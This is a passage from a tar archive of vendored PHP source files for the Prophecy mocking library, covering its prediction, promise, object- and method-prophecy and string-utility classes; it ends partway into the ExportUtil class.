source code. */ namespace Prophecy\Prediction; use Prophecy\Call\Call; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Argument\ArgumentsWildcard; use Prophecy\Argument\Token\AnyValuesToken; use Prophecy\Util\StringUtil; use Prophecy\Exception\Prediction\NoCallsException; /** * Call prediction. * * @author Konstantin Kudryashov */ class CallPrediction implements PredictionInterface { private $util; /** * Initializes prediction. * * @param StringUtil $util */ public function __construct(StringUtil $util = null) { $this->util = $util ?: new StringUtil; } /** * Tests that there was at least one call. * * @param Call[] $calls * @param ObjectProphecy $object * @param MethodProphecy $method * * @throws \Prophecy\Exception\Prediction\NoCallsException */ public function check(array $calls, ObjectProphecy $object, MethodProphecy $method) { if (count($calls)) { return; } $methodCalls = $object->findProphecyMethodCalls( $method->getMethodName(), new ArgumentsWildcard(array(new AnyValuesToken)) ); if (count($methodCalls)) { throw new NoCallsException(sprintf( "No calls have been made that match:\n". " %s->%s(%s)\n". "but expected at least one.\n". "Recorded `%s(...)` calls:\n%s", get_class($object->reveal()), $method->getMethodName(), $method->getArgumentsWildcard(), $method->getMethodName(), $this->util->stringifyCalls($methodCalls) ), $method); } throw new NoCallsException(sprintf( "No calls have been made that match:\n". " %s->%s(%s)\n". "but expected at least one.", get_class($object->reveal()), $method->getMethodName(), $method->getArgumentsWildcard() ), $method); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prediction/CallTimesPrediction.php000064400000006223147577714370025536 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prediction; use Prophecy\Call\Call; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Argument\ArgumentsWildcard; use Prophecy\Argument\Token\AnyValuesToken; use Prophecy\Util\StringUtil; use Prophecy\Exception\Prediction\UnexpectedCallsCountException; /** * Prediction interface. * Predictions are logical test blocks, tied to `should...` keyword. * * @author Konstantin Kudryashov */ class CallTimesPrediction implements PredictionInterface { private $times; private $util; /** * Initializes prediction. * * @param int $times * @param StringUtil $util */ public function __construct($times, StringUtil $util = null) { $this->times = intval($times); $this->util = $util ?: new StringUtil; } /** * Tests that there was exact amount of calls made. * * @param Call[] $calls * @param ObjectProphecy $object * @param MethodProphecy $method * * @throws \Prophecy\Exception\Prediction\UnexpectedCallsCountException */ public function check(array $calls, ObjectProphecy $object, MethodProphecy $method) { if ($this->times == count($calls)) { return; } $methodCalls = $object->findProphecyMethodCalls( $method->getMethodName(), new ArgumentsWildcard(array(new AnyValuesToken)) ); if (count($calls)) { $message = sprintf( "Expected exactly %d calls that match:\n". " %s->%s(%s)\n". "but %d were made:\n%s", $this->times, get_class($object->reveal()), $method->getMethodName(), $method->getArgumentsWildcard(), count($calls), $this->util->stringifyCalls($calls) ); } elseif (count($methodCalls)) { $message = sprintf( "Expected exactly %d calls that match:\n". " %s->%s(%s)\n". "but none were made.\n". "Recorded `%s(...)` calls:\n%s", $this->times, get_class($object->reveal()), $method->getMethodName(), $method->getArgumentsWildcard(), $method->getMethodName(), $this->util->stringifyCalls($methodCalls) ); } else { $message = sprintf( "Expected exactly %d calls that match:\n". " %s->%s(%s)\n". "but none were made.", $this->times, get_class($object->reveal()), $method->getMethodName(), $method->getArgumentsWildcard() ); } throw new UnexpectedCallsCountException($message, $method, $this->times, $calls); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prediction/PredictionInterface.php000064400000001637147577714370025565 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prediction; use Prophecy\Call\Call; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; /** * Prediction interface. * Predictions are logical test blocks, tied to `should...` keyword. * * @author Konstantin Kudryashov */ interface PredictionInterface { /** * Tests that double fulfilled prediction. * * @param Call[] $calls * @param ObjectProphecy $object * @param MethodProphecy $method * * @throws object * @return void */ public function check(array $calls, ObjectProphecy $object, MethodProphecy $method); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prediction/NoCallsPrediction.php000064400000003345147577714370025216 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prediction; use Prophecy\Call\Call; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Util\StringUtil; use Prophecy\Exception\Prediction\UnexpectedCallsException; /** * No calls prediction. * * @author Konstantin Kudryashov */ class NoCallsPrediction implements PredictionInterface { private $util; /** * Initializes prediction. * * @param null|StringUtil $util */ public function __construct(StringUtil $util = null) { $this->util = $util ?: new StringUtil; } /** * Tests that there were no calls made. * * @param Call[] $calls * @param ObjectProphecy $object * @param MethodProphecy $method * * @throws \Prophecy\Exception\Prediction\UnexpectedCallsException */ public function check(array $calls, ObjectProphecy $object, MethodProphecy $method) { if (!count($calls)) { return; } $verb = count($calls) === 1 ? 'was' : 'were'; throw new UnexpectedCallsException(sprintf( "No calls expected that match:\n". " %s->%s(%s)\n". "but %d %s made:\n%s", get_class($object->reveal()), $method->getMethodName(), $method->getArgumentsWildcard(), count($calls), $verb, $this->util->stringifyCalls($calls) ), $method, $calls); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prediction/CallbackPrediction.php000064400000003355147577714370025360 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prediction; use Prophecy\Call\Call; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Exception\InvalidArgumentException; use Closure; use ReflectionFunction; /** * Callback prediction. * * @author Konstantin Kudryashov */ class CallbackPrediction implements PredictionInterface { private $callback; /** * Initializes callback prediction. * * @param callable $callback Custom callback * * @throws \Prophecy\Exception\InvalidArgumentException */ public function __construct($callback) { if (!is_callable($callback)) { throw new InvalidArgumentException(sprintf( 'Callable expected as an argument to CallbackPrediction, but got %s.', gettype($callback) )); } $this->callback = $callback; } /** * Executes preset callback. * * @param Call[] $calls * @param ObjectProphecy $object * @param MethodProphecy $method */ public function check(array $calls, ObjectProphecy $object, MethodProphecy $method) { $callback = $this->callback; if ($callback instanceof Closure && method_exists('Closure', 'bind') && (new ReflectionFunction($callback))->getClosureThis() !== null) { $callback = Closure::bind($callback, $object); } call_user_func($callback, $calls, $object, $method); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Promise/ReturnPromise.php000064400000002427147577714370023776 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Promise; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; /** * Return promise. * * @author Konstantin Kudryashov */ class ReturnPromise implements PromiseInterface { private $returnValues = array(); /** * Initializes promise. * * @param array $returnValues Array of values */ public function __construct(array $returnValues) { $this->returnValues = $returnValues; } /** * Returns saved values one by one until last one, then continuously returns last value. * * @param array $args * @param ObjectProphecy $object * @param MethodProphecy $method * * @return mixed */ public function execute(array $args, ObjectProphecy $object, MethodProphecy $method) { $value = array_shift($this->returnValues); if (!count($this->returnValues)) { $this->returnValues[] = $value; } return $value; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Promise/CallbackPromise.php000064400000003347147577714370024215 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Promise; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Exception\InvalidArgumentException; use Closure; use ReflectionFunction; /** * Callback promise. * * @author Konstantin Kudryashov */ class CallbackPromise implements PromiseInterface { private $callback; /** * Initializes callback promise. * * @param callable $callback Custom callback * * @throws \Prophecy\Exception\InvalidArgumentException */ public function __construct($callback) { if (!is_callable($callback)) { throw new InvalidArgumentException(sprintf( 'Callable expected as an argument to CallbackPromise, but got %s.', gettype($callback) )); } $this->callback = $callback; } /** * Evaluates promise callback. * * @param array $args * @param ObjectProphecy $object * @param MethodProphecy $method * * @return mixed */ public function execute(array $args, ObjectProphecy $object, MethodProphecy $method) { $callback = $this->callback; if ($callback instanceof Closure && method_exists('Closure', 'bind') && (new ReflectionFunction($callback))->getClosureThis() !== null) { $callback = Closure::bind($callback, $object); } return call_user_func($callback, $args, $object, $method); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Promise/PromiseInterface.php000064400000001513147577714370024412 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Promise; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; /** * Promise interface. * Promises are logical blocks, tied to `will...` keyword. * * @author Konstantin Kudryashov */ interface PromiseInterface { /** * Evaluates promise. * * @param array $args * @param ObjectProphecy $object * @param MethodProphecy $method * * @return mixed */ public function execute(array $args, ObjectProphecy $object, MethodProphecy $method); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Promise/ThrowPromise.php000064400000005602147577714370023620 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Promise; use Doctrine\Instantiator\Instantiator; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; use Prophecy\Exception\InvalidArgumentException; use ReflectionClass; /** * Throw promise. * * @author Konstantin Kudryashov */ class ThrowPromise implements PromiseInterface { private $exception; /** * @var \Doctrine\Instantiator\Instantiator */ private $instantiator; /** * Initializes promise. * * @param string|\Exception|\Throwable $exception Exception class name or instance * * @throws \Prophecy\Exception\InvalidArgumentException */ public function __construct($exception) { if (is_string($exception)) { if ((!class_exists($exception) && !interface_exists($exception)) || !$this->isAValidThrowable($exception)) { throw new InvalidArgumentException(sprintf( 'Exception / Throwable class or instance expected as argument to ThrowPromise, but got %s.', $exception )); } } elseif (!$exception instanceof \Exception && !$exception instanceof \Throwable) { throw new InvalidArgumentException(sprintf( 'Exception / Throwable class or instance expected as argument to ThrowPromise, but got %s.', is_object($exception) ? get_class($exception) : gettype($exception) )); } $this->exception = $exception; } /** * Throws predefined exception. * * @param array $args * @param ObjectProphecy $object * @param MethodProphecy $method * * @throws object */ public function execute(array $args, ObjectProphecy $object, MethodProphecy $method) { if (is_string($this->exception)) { $classname = $this->exception; $reflection = new ReflectionClass($classname); $constructor = $reflection->getConstructor(); if ($constructor->isPublic() && 0 == $constructor->getNumberOfRequiredParameters()) { throw $reflection->newInstance(); } if (!$this->instantiator) { $this->instantiator = new Instantiator(); } throw $this->instantiator->instantiate($classname); } throw $this->exception; } /** * @param string $exception * * @return bool */ private function isAValidThrowable($exception) { return is_a($exception, 'Exception', true) || is_a($exception, 'Throwable', true); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Promise/ReturnArgumentPromise.php000064400000003047147577714370025500 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Promise; use Prophecy\Exception\InvalidArgumentException; use Prophecy\Prophecy\ObjectProphecy; use Prophecy\Prophecy\MethodProphecy; /** * Return argument promise. * * @author Konstantin Kudryashov */ class ReturnArgumentPromise implements PromiseInterface { /** * @var int */ private $index; /** * Initializes callback promise. * * @param int $index The zero-indexed number of the argument to return * * @throws \Prophecy\Exception\InvalidArgumentException */ public function __construct($index = 0) { if (!is_int($index) || $index < 0) { throw new InvalidArgumentException(sprintf( 'Zero-based index expected as argument to ReturnArgumentPromise, but got %s.', $index )); } $this->index = $index; } /** * Returns nth argument if has one, null otherwise. * * @param array $args * @param ObjectProphecy $object * @param MethodProphecy $method * * @return null|mixed */ public function execute(array $args, ObjectProphecy $object, MethodProphecy $method) { return count($args) > $this->index ? $args[$this->index] : null; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophecy/ProphecyInterface.php000064400000001054147577714370024740 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prophecy; /** * Core Prophecy interface. * * @author Konstantin Kudryashov */ interface ProphecyInterface { /** * Reveals prophecy object (double) . * * @return object */ public function reveal(); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophecy/RevealerInterface.php000064400000001110147577714370024705 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prophecy; /** * Prophecies revealer interface. * * @author Konstantin Kudryashov */ interface RevealerInterface { /** * Unwraps value(s). * * @param mixed $value * * @return mixed */ public function reveal($value); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophecy/ObjectProphecy.php000064400000017467147577714370024265 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prophecy; use SebastianBergmann\Comparator\ComparisonFailure; use Prophecy\Comparator\Factory as ComparatorFactory; use Prophecy\Call\Call; use Prophecy\Doubler\LazyDouble; use Prophecy\Argument\ArgumentsWildcard; use Prophecy\Call\CallCenter; use Prophecy\Exception\Prophecy\ObjectProphecyException; use Prophecy\Exception\Prophecy\MethodProphecyException; use Prophecy\Exception\Prediction\AggregateException; use Prophecy\Exception\Prediction\PredictionException; /** * Object prophecy. * * @author Konstantin Kudryashov */ class ObjectProphecy implements ProphecyInterface { private $lazyDouble; private $callCenter; private $revealer; private $comparatorFactory; /** * @var MethodProphecy[][] */ private $methodProphecies = array(); /** * Initializes object prophecy. * * @param LazyDouble $lazyDouble * @param CallCenter $callCenter * @param RevealerInterface $revealer * @param ComparatorFactory $comparatorFactory */ public function __construct( LazyDouble $lazyDouble, CallCenter $callCenter = null, RevealerInterface $revealer = null, ComparatorFactory $comparatorFactory = null ) { $this->lazyDouble = $lazyDouble; $this->callCenter = $callCenter ?: new CallCenter; $this->revealer = $revealer ?: new Revealer; $this->comparatorFactory = $comparatorFactory ?: ComparatorFactory::getInstance(); } /** * Forces double to extend specific class. * * @param string $class * * @return $this */ public function willExtend($class) { $this->lazyDouble->setParentClass($class); return $this; } /** * Forces double to implement specific interface. * * @param string $interface * * @return $this */ public function willImplement($interface) { $this->lazyDouble->addInterface($interface); return $this; } /** * Sets constructor arguments. * * @param array $arguments * * @return $this */ public function willBeConstructedWith(array $arguments = null) { $this->lazyDouble->setArguments($arguments); return $this; } /** * Reveals double. * * @return object * * @throws \Prophecy\Exception\Prophecy\ObjectProphecyException If double doesn't implement needed interface */ public function reveal() { $double = $this->lazyDouble->getInstance(); if (null === $double || !$double instanceof ProphecySubjectInterface) { throw new ObjectProphecyException( "Generated double must implement ProphecySubjectInterface, but it does not.\n". 'It seems you have wrongly configured doubler without required ClassPatch.', $this ); } $double->setProphecy($this); return $double; } /** * Adds method prophecy to object prophecy. * * @param MethodProphecy $methodProphecy * * @throws \Prophecy\Exception\Prophecy\MethodProphecyException If method prophecy doesn't * have arguments wildcard */ public function addMethodProphecy(MethodProphecy $methodProphecy) { $argumentsWildcard = $methodProphecy->getArgumentsWildcard(); if (null === $argumentsWildcard) { throw new MethodProphecyException(sprintf( "Can not add prophecy for a method `%s::%s()`\n". "as you did not specify arguments wildcard for it.", get_class($this->reveal()), $methodProphecy->getMethodName() ), $methodProphecy); } $methodName = strtolower($methodProphecy->getMethodName()); if (!isset($this->methodProphecies[$methodName])) { $this->methodProphecies[$methodName] = array(); } $this->methodProphecies[$methodName][] = $methodProphecy; } /** * Returns either all or related to single method prophecies. * * @param null|string $methodName * * @return MethodProphecy[] */ public function getMethodProphecies($methodName = null) { if (null === $methodName) { return $this->methodProphecies; } $methodName = strtolower($methodName); if (!isset($this->methodProphecies[$methodName])) { return array(); } return $this->methodProphecies[$methodName]; } /** * Makes specific method call. * * @param string $methodName * @param array $arguments * * @return mixed */ public function makeProphecyMethodCall($methodName, array $arguments) { $arguments = $this->revealer->reveal($arguments); $return = $this->callCenter->makeCall($this, $methodName, $arguments); return $this->revealer->reveal($return); } /** * Finds calls by method name & arguments wildcard. * * @param string $methodName * @param ArgumentsWildcard $wildcard * * @return Call[] */ public function findProphecyMethodCalls($methodName, ArgumentsWildcard $wildcard) { return $this->callCenter->findCalls($methodName, $wildcard); } /** * Checks that registered method predictions do not fail. * * @throws \Prophecy\Exception\Prediction\AggregateException If any of registered predictions fail * @throws \Prophecy\Exception\Call\UnexpectedCallException */ public function checkProphecyMethodsPredictions() { $exception = new AggregateException(sprintf("%s:\n", get_class($this->reveal()))); $exception->setObjectProphecy($this); $this->callCenter->checkUnexpectedCalls(); foreach ($this->methodProphecies as $prophecies) { foreach ($prophecies as $prophecy) { try { $prophecy->checkPrediction(); } catch (PredictionException $e) { $exception->append($e); } } } if (count($exception->getExceptions())) { throw $exception; } } /** * Creates new method prophecy using specified method name and arguments. * * @param string $methodName * @param array $arguments * * @return MethodProphecy */ public function __call($methodName, array $arguments) { $arguments = new ArgumentsWildcard($this->revealer->reveal($arguments)); foreach ($this->getMethodProphecies($methodName) as $prophecy) { $argumentsWildcard = $prophecy->getArgumentsWildcard(); $comparator = $this->comparatorFactory->getComparatorFor( $argumentsWildcard, $arguments ); try { $comparator->assertEquals($argumentsWildcard, $arguments); return $prophecy; } catch (ComparisonFailure $failure) {} } return new MethodProphecy($this, $methodName, $arguments); } /** * Tries to get property value from double. * * @param string $name * * @return mixed */ public function __get($name) { return $this->reveal()->$name; } /** * Tries to set property value to double. * * @param string $name * @param mixed $value */ public function __set($name, $value) { $this->reveal()->$name = $this->revealer->reveal($value); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophecy/ProphecySubjectInterface.php000064400000001337147577714370026264 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prophecy; /** * Controllable doubles interface. * * @author Konstantin Kudryashov */ interface ProphecySubjectInterface { /** * Sets subject prophecy. * * @param ProphecyInterface $prophecy */ public function setProphecy(ProphecyInterface $prophecy); /** * Returns subject prophecy. * * @return ProphecyInterface */ public function getProphecy(); } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophecy/Revealer.php000064400000001620147577714370023072 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prophecy; /** * Basic prophecies revealer. * * @author Konstantin Kudryashov */ class Revealer implements RevealerInterface { /** * Unwraps value(s). * * @param mixed $value * * @return mixed */ public function reveal($value) { if (is_array($value)) { return array_map(array($this, __FUNCTION__), $value); } if (!is_object($value)) { return $value; } if ($value instanceof ProphecyInterface) { $value = $value->reveal(); } return $value; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Prophecy/MethodProphecy.php000064400000035445147577714370024273 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Prophecy; use Prophecy\Argument; use Prophecy\Prophet; use Prophecy\Promise; use Prophecy\Prediction; use Prophecy\Exception\Doubler\MethodNotFoundException; use Prophecy\Exception\InvalidArgumentException; use Prophecy\Exception\Prophecy\MethodProphecyException; use ReflectionNamedType; use ReflectionType; use ReflectionUnionType; /** * Method prophecy. * * @author Konstantin Kudryashov */ class MethodProphecy { private $objectProphecy; private $methodName; private $argumentsWildcard; private $promise; private $prediction; private $checkedPredictions = array(); private $bound = false; private $voidReturnType = false; /** * Initializes method prophecy. * * @param ObjectProphecy $objectProphecy * @param string $methodName * @param null|Argument\ArgumentsWildcard|array $arguments * * @throws \Prophecy\Exception\Doubler\MethodNotFoundException If method not found */ public function __construct(ObjectProphecy $objectProphecy, $methodName, $arguments = null) { $double = $objectProphecy->reveal(); if (!method_exists($double, $methodName)) { throw new MethodNotFoundException(sprintf( 'Method `%s::%s()` is not defined.', get_class($double), $methodName ), get_class($double), $methodName, $arguments); } $this->objectProphecy = $objectProphecy; $this->methodName = $methodName; $reflectedMethod = new \ReflectionMethod($double, $methodName); if ($reflectedMethod->isFinal()) { throw new MethodProphecyException(sprintf( "Can not add prophecy for a method `%s::%s()`\n". "as it is a final method.", get_class($double), $methodName ), $this); } if (null !== $arguments) { $this->withArguments($arguments); } $hasTentativeReturnType = method_exists($reflectedMethod, 'hasTentativeReturnType') && $reflectedMethod->hasTentativeReturnType(); if (true === $reflectedMethod->hasReturnType() || $hasTentativeReturnType) { if ($hasTentativeReturnType) { $reflectionType = $reflectedMethod->getTentativeReturnType(); } else { $reflectionType = $reflectedMethod->getReturnType(); } if ($reflectionType instanceof ReflectionNamedType) { $types = [$reflectionType]; } elseif ($reflectionType instanceof ReflectionUnionType) { $types = $reflectionType->getTypes(); } $types = array_map( function(ReflectionType $type) { return $type->getName(); }, $types ); usort( $types, static function(string $type1, string $type2) { // null is lowest priority if ($type2 == 'null') { return -1; } elseif ($type1 == 'null') { return 1; } // objects are higher priority than scalars $isObject = static function($type) { return class_exists($type) || interface_exists($type); }; if($isObject($type1) && !$isObject($type2)) { return -1; } elseif(!$isObject($type1) && $isObject($type2)) { return 1; } // don't sort both-scalars or both-objects return 0; } ); $defaultType = $types[0]; if ('void' === $defaultType) { $this->voidReturnType = true; } $this->will(function () use ($defaultType) { switch ($defaultType) { case 'void': return; case 'string': return ''; case 'float': return 0.0; case 'int': return 0; case 'bool': return false; case 'array': return array(); case 'callable': case 'Closure': return function () {}; case 'Traversable': case 'Generator': return (function () { yield; })(); default: $prophet = new Prophet; return $prophet->prophesize($defaultType)->reveal(); } }); } } /** * Sets argument wildcard. * * @param array|Argument\ArgumentsWildcard $arguments * * @return $this * * @throws \Prophecy\Exception\InvalidArgumentException */ public function withArguments($arguments) { if (is_array($arguments)) { $arguments = new Argument\ArgumentsWildcard($arguments); } if (!$arguments instanceof Argument\ArgumentsWildcard) { throw new InvalidArgumentException(sprintf( "Either an array or an instance of ArgumentsWildcard expected as\n". 'a `MethodProphecy::withArguments()` argument, but got %s.', gettype($arguments) )); } $this->argumentsWildcard = $arguments; return $this; } /** * Sets custom promise to the prophecy. * * @param callable|Promise\PromiseInterface $promise * * @return $this * * @throws \Prophecy\Exception\InvalidArgumentException */ public function will($promise) { if (is_callable($promise)) { $promise = new Promise\CallbackPromise($promise); } if (!$promise instanceof Promise\PromiseInterface) { throw new InvalidArgumentException(sprintf( 'Expected callable or instance of PromiseInterface, but got %s.', gettype($promise) )); } $this->bindToObjectProphecy(); $this->promise = $promise; return $this; } /** * Sets return promise to the prophecy. * * @see \Prophecy\Promise\ReturnPromise * * @return $this */ public function willReturn() { if ($this->voidReturnType) { throw new MethodProphecyException( "The method \"$this->methodName\" has a void return type, and so cannot return anything", $this ); } return $this->will(new Promise\ReturnPromise(func_get_args())); } /** * @param array $items * @param mixed $return * * @return $this * * @throws \Prophecy\Exception\InvalidArgumentException */ public function willYield($items, $return = null) { if ($this->voidReturnType) { throw new MethodProphecyException( "The method \"$this->methodName\" has a void return type, and so cannot yield anything", $this ); } if (!is_array($items)) { throw new InvalidArgumentException(sprintf( 'Expected array, but got %s.', gettype($items) )); } $generator = function() use ($items, $return) { yield from $items; return $return; }; return $this->will($generator); } /** * Sets return argument promise to the prophecy. * * @param int $index The zero-indexed number of the argument to return * * @see \Prophecy\Promise\ReturnArgumentPromise * * @return $this */ public function willReturnArgument($index = 0) { if ($this->voidReturnType) { throw new MethodProphecyException("The method \"$this->methodName\" has a void return type", $this); } return $this->will(new Promise\ReturnArgumentPromise($index)); } /** * Sets throw promise to the prophecy. * * @see \Prophecy\Promise\ThrowPromise * * @param string|\Exception $exception Exception class or instance * * @return $this */ public function willThrow($exception) { return $this->will(new Promise\ThrowPromise($exception)); } /** * Sets custom prediction to the prophecy. * * @param callable|Prediction\PredictionInterface $prediction * * @return $this * * @throws \Prophecy\Exception\InvalidArgumentException */ public function should($prediction) { if (is_callable($prediction)) { $prediction = new Prediction\CallbackPrediction($prediction); } if (!$prediction instanceof Prediction\PredictionInterface) { throw new InvalidArgumentException(sprintf( 'Expected callable or instance of PredictionInterface, but got %s.', gettype($prediction) )); } $this->bindToObjectProphecy(); $this->prediction = $prediction; return $this; } /** * Sets call prediction to the prophecy. * * @see \Prophecy\Prediction\CallPrediction * * @return $this */ public function shouldBeCalled() { return $this->should(new Prediction\CallPrediction); } /** * Sets no calls prediction to the prophecy. * * @see \Prophecy\Prediction\NoCallsPrediction * * @return $this */ public function shouldNotBeCalled() { return $this->should(new Prediction\NoCallsPrediction); } /** * Sets call times prediction to the prophecy. * * @see \Prophecy\Prediction\CallTimesPrediction * * @param $count * * @return $this */ public function shouldBeCalledTimes($count) { return $this->should(new Prediction\CallTimesPrediction($count)); } /** * Sets call times prediction to the prophecy. * * @see \Prophecy\Prediction\CallTimesPrediction * * @return $this */ public function shouldBeCalledOnce() { return $this->shouldBeCalledTimes(1); } /** * Checks provided prediction immediately. * * @param callable|Prediction\PredictionInterface $prediction * * @return $this * * @throws \Prophecy\Exception\InvalidArgumentException */ public function shouldHave($prediction) { if (is_callable($prediction)) { $prediction = new Prediction\CallbackPrediction($prediction); } if (!$prediction instanceof Prediction\PredictionInterface) { throw new InvalidArgumentException(sprintf( 'Expected callable or instance of PredictionInterface, but got %s.', gettype($prediction) )); } if (null === $this->promise && !$this->voidReturnType) { $this->willReturn(); } $calls = $this->getObjectProphecy()->findProphecyMethodCalls( $this->getMethodName(), $this->getArgumentsWildcard() ); try { $prediction->check($calls, $this->getObjectProphecy(), $this); $this->checkedPredictions[] = $prediction; } catch (\Exception $e) { $this->checkedPredictions[] = $prediction; throw $e; } return $this; } /** * Checks call prediction. * * @see \Prophecy\Prediction\CallPrediction * * @return $this */ public function shouldHaveBeenCalled() { return $this->shouldHave(new Prediction\CallPrediction); } /** * Checks no calls prediction. * * @see \Prophecy\Prediction\NoCallsPrediction * * @return $this */ public function shouldNotHaveBeenCalled() { return $this->shouldHave(new Prediction\NoCallsPrediction); } /** * Checks no calls prediction. * * @see \Prophecy\Prediction\NoCallsPrediction * @deprecated * * @return $this */ public function shouldNotBeenCalled() { return $this->shouldNotHaveBeenCalled(); } /** * Checks call times prediction. * * @see \Prophecy\Prediction\CallTimesPrediction * * @param int $count * * @return $this */ public function shouldHaveBeenCalledTimes($count) { return $this->shouldHave(new Prediction\CallTimesPrediction($count)); } /** * Checks call times prediction. * * @see \Prophecy\Prediction\CallTimesPrediction * * @return $this */ public function shouldHaveBeenCalledOnce() { return $this->shouldHaveBeenCalledTimes(1); } /** * Checks currently registered [with should(...)] prediction. */ public function checkPrediction() { if (null === $this->prediction) { return; } $this->shouldHave($this->prediction); } /** * Returns currently registered promise. * * @return null|Promise\PromiseInterface */ public function getPromise() { return $this->promise; } /** * Returns currently registered prediction. * * @return null|Prediction\PredictionInterface */ public function getPrediction() { return $this->prediction; } /** * Returns predictions that were checked on this object. * * @return Prediction\PredictionInterface[] */ public function getCheckedPredictions() { return $this->checkedPredictions; } /** * Returns object prophecy this method prophecy is tied to. * * @return ObjectProphecy */ public function getObjectProphecy() { return $this->objectProphecy; } /** * Returns method name. * * @return string */ public function getMethodName() { return $this->methodName; } /** * Returns arguments wildcard. * * @return Argument\ArgumentsWildcard */ public function getArgumentsWildcard() { return $this->argumentsWildcard; } /** * @return bool */ public function hasReturnVoid() { return $this->voidReturnType; } private function bindToObjectProphecy() { if ($this->bound) { return; } $this->getObjectProphecy()->addMethodProphecy($this); $this->bound = true; } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Util/StringUtil.php000064400000005243147577714370022562 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Prophecy\Util; use Prophecy\Call\Call; /** * String utility. * * @author Konstantin Kudryashov */ class StringUtil { private $verbose; /** * @param bool $verbose */ public function __construct($verbose = true) { $this->verbose = $verbose; } /** * Stringifies any provided value. * * @param mixed $value * @param boolean $exportObject * * @return string */ public function stringify($value, $exportObject = true) { if (is_array($value)) { if (range(0, count($value) - 1) === array_keys($value)) { return '['.implode(', ', array_map(array($this, __FUNCTION__), $value)).']'; } $stringify = array($this, __FUNCTION__); return '['.implode(', ', array_map(function ($item, $key) use ($stringify) { return (is_integer($key) ? $key : '"'.$key.'"'). ' => '.call_user_func($stringify, $item); }, $value, array_keys($value))).']'; } if (is_resource($value)) { return get_resource_type($value).':'.$value; } if (is_object($value)) { return $exportObject ? ExportUtil::export($value) : sprintf('%s:%s', get_class($value), spl_object_hash($value)); } if (true === $value || false === $value) { return $value ? 'true' : 'false'; } if (is_string($value)) { $str = sprintf('"%s"', str_replace("\n", '\\n', $value)); if (!$this->verbose && 50 <= strlen($str)) { return substr($str, 0, 50).'"...'; } return $str; } if (null === $value) { return 'null'; } return (string) $value; } /** * Stringifies provided array of calls. * * @param Call[] $calls Array of Call instances * * @return string */ public function stringifyCalls(array $calls) { $self = $this; return implode(PHP_EOL, array_map(function (Call $call) use ($self) { return sprintf(' - %s(%s) @ %s', $call->getMethodName(), implode(', ', array_map(array($self, 'stringify'), $call->getArguments())), str_replace(GETCWD().DIRECTORY_SEPARATOR, '', $call->getCallPlace()) ); }, $calls)); } } res/readability/vendor/phpspec/prophecy/src/Prophecy/Util/ExportUtil.php000064400000014721147577714370022576 0ustar00 * Marcello Duarte * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * This class is a modification from sebastianbergmann/exporter * @see https://github.com/sebastianbergmann/exporter */ class ExportUtil { /** * Exports a value as a string * * The output of this method is similar to the output of print_r(), but * improved in various aspects: * * - NULL is rendered as "null" (instead of "") * - TRUE is rendered as "true" (instead of "1") * - FALSE is rendered as "false" (instead of "") * - Strings are always quoted with single quotes * - Carriage returns and newlines are normalized to \n * - Recursion and repeated rendering is treated properly * * @param mixed $value * @param int $indentation The indentation level of the 2nd+ line * @return string */ public static function export($value, $indentation = 0) { return self::recursiveExport($value, 